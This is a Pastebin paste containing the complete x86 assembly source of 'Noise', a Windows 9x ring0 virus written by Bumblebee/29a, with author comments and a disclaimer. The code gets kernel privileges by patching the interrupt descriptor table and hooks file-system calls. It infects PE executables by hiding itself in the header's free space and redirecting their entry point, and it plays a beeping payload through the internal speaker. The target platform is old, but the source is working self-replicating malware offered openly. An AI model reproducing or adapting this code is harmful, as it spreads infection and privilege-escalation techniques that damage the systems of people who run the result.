Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ;
- ; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
- ; ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
- ; Noise ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
- ; Coded by Bumblebee/29a ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
- ; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
- ; ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
- ; ³ Words from the author ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
- ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
- ; . I started to code an i-worm and i wanted to make something like a
- ; ring0 stealth routine for it. Then i realized: i did a ring0 virus heh
- ; The name is due the little payload it has... that does realy noise!
- ; That's my first ring0 virus. I don't like codin ring0, but here it is.
- ; That's a research spezimen. Don't expect the ultimate ring0 virus...
- ; Only 414 bytes, that's less than MiniR3 (aka Win95.Rinim).
- ;
- ; ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
- ; ³ Disclaimer ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
- ; ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
- ; . This is the source code of a VIRUS. The author is not responsabile
- ; of any damage that may occur due to the assembly of this file. Use
- ; it at your own risk.
- ;
- ; ÚÄÄÄÄÄÄÄÄÄÄ¿
- ; ³ Features ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
- ; ÀÄÄÄÄÄÄÄÄÄÄÙ
- ; . Ring0 resident win9x virus (thus coz the way it uses to get ring0 is
- ; only for win9x, not nt not w2k).
- ; . It infect in similar way like MiniR3 does. Uses free space in the
- ; PE header. That's a cavity virus.
- ; . All the data is INSIDE the code. Well... copyright is not inside :)
- ; . It infects PE files in the user buffer when a write call is done.
- ; That makes this virus not very efficient spreading.
- ; . It has a kewl sound payload. Makes echo with internal speaker for
- ; all disk operations ;)
- ;
- ; Greetz to Perikles for his tests ;) You're my best tester, you know...
- ;
- ;
- ; The way of the bee
- ;
- .486p
- locals
- .model flat,STDCALL
- extrn ExitProcess:PROC
- VxDCall macro vxd,service
- db 0cdh,20h
- dw service
- dw vxd
- endm
- IFSMANAGER equ 40h
- GETHEAP equ 0dh
- IFSAPIHOOK equ 67h
- VSIZE equ vEnd-vBegin
- VSIZEROUND equ ((VSIZE/1024)+1)*1024
- .DATA
- ; dummy data
- db 'WARNING - This is a virus carrier - WARNING'
- .CODE
- inicio:
- mov eax,VSIZE
- vBegin label byte
- pushad
- mov al,byte ptr [esp+23h]
- sub esp,8
- mov ebp,esp
- cmp al,0bfh
- jne NotWin9x
- sidt qword ptr [ebp]
- mov esi,dword ptr [ebp+2]
- add esi,3*8
- push esi
- mov di,word ptr [esi+6]
- shl edi,10h
- mov di,word ptr [esi]
- push edi
- call @delta
- @deltaoffset:
- cpright db 'Bbbee/29a@Noise'
- @delta:
- pop eax
- sub eax,(offset @deltaoffset-offset ring0CodeInstaller)
- mov word ptr [esi],ax
- shr eax,10h
- mov word ptr [esi+6],ax
- int 3h
- pop edi
- pop esi
- mov word ptr [esi],di
- shr edi,10h
- mov word ptr [esi+6],di
- NotWin9x:
- add esp,8
- popad
- push offset fakeHost
- hostEP equ $-4
- ret
- ring0CodeInstaller:
- pushad
- mov ebp,0bff70000h
- sub ebp,dword ptr [ebp]
- jz ReturnR3
- push VSIZEROUND
- VxDCall IFSMANAGER,GETHEAP
- pop edi
- or eax,eax
- jz ReturnR3
- mov edi,eax
- call @@delta
- @@delta:
- pop esi
- sub esi,(offset @@delta-offset vBegin)
- mov ecx,VSIZE
- rep movsb
- mov dword ptr [delta-vBegin+eax],eax
- push eax
- add eax,offset ring0Hook-offset vBegin
- push eax
- VxDCall IFSMANAGER,IFSAPIHOOK
- pop ebp
- pop edx
- mov dword ptr [edx+nextHookInChain-vBegin],eax
- mov ebp,0bff70000h
- mov dword ptr [ebp],ebp
- ReturnR3:
- popad
- iretd
- ring0Hook:
- pop eax
- push ebp
- mov ebp,12345678h
- delta equ $-4
- mov dword ptr [returnAddr-vBegin+ebp],eax
- push edx
- mov edx,esp
- pushad
- pushfd
- mov ecx,0ffh
- counter equ $-4
- dec cl
- jz beep
- mov ecx,dword ptr [edx+0ch]
- dec ecx
- jz checkFile
- exitHook:
- popfd
- popad
- pop edx
- pop ebp
- mov eax,12345678h
- nextHookInChain equ $-4
- call dword ptr [eax]
- push 12345678h
- returnAddr equ $-4
- ret
- checkFile:
- mov esi,dword ptr [edx+1ch]
- mov cx,word ptr [esi]
- cmp ecx,VSIZEROUND
- jb exitHook
- mov edi,dword ptr [esi+14h]
- mov ebx,edi
- cmp word ptr [edi],'ZM'
- jne exitHook
- cmp ecx,dword ptr [edi+3ch]
- jb exitHook
- add edi,dword ptr [edi+3ch]
- cmp word ptr [edi],'EP'
- jne exitHook
- mov edx,dword ptr [edi+16h]
- test edx,2h
- jz exitHook
- and edx,2000h
- jnz exitHook
- mov dx,word ptr [edi+5ch]
- dec edx
- jz exitHook
- mov esi,edi
- mov eax,18h
- add ax,word ptr [edi+14h]
- add edi,eax
- movzx ecx,word ptr [esi+06h]
- mov ax,28h
- mul cx
- add edi,eax
- mov ecx,VSIZE
- xor eax,eax
- pushad
- rep scasb
- popad
- jnz exitHook
- add dword ptr [esi+54h],ecx
- push edi
- sub edi,ebx
- xchg edi,dword ptr [esi+28h]
- mov eax,dword ptr [esi+34h]
- add edi,eax
- mov dword ptr [hostEP-vBegin+ebp],edi
- pop edi
- mov esi,ebp
- rep movsb
- dec byte ptr [counter-vBegin+ebp]
- jmp exitHook
- beep:
- dec cl
- in al,61h
- push ax
- or al,03h
- out 61h,al
- mov al,0b6h
- out 43h,al
- mov ax,987
- mov si,ax
- beep_loop:
- add si,100h
- mov ax,si
- out 42h,al
- xchg al,ah
- out 42h,al
- loop beep_loop
- pop ax
- out 61h,al
- jmp exitHook
- vEnd label byte
- fakeHost:
- push 0h
- call ExitProcess
- Ends
- End inicio
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement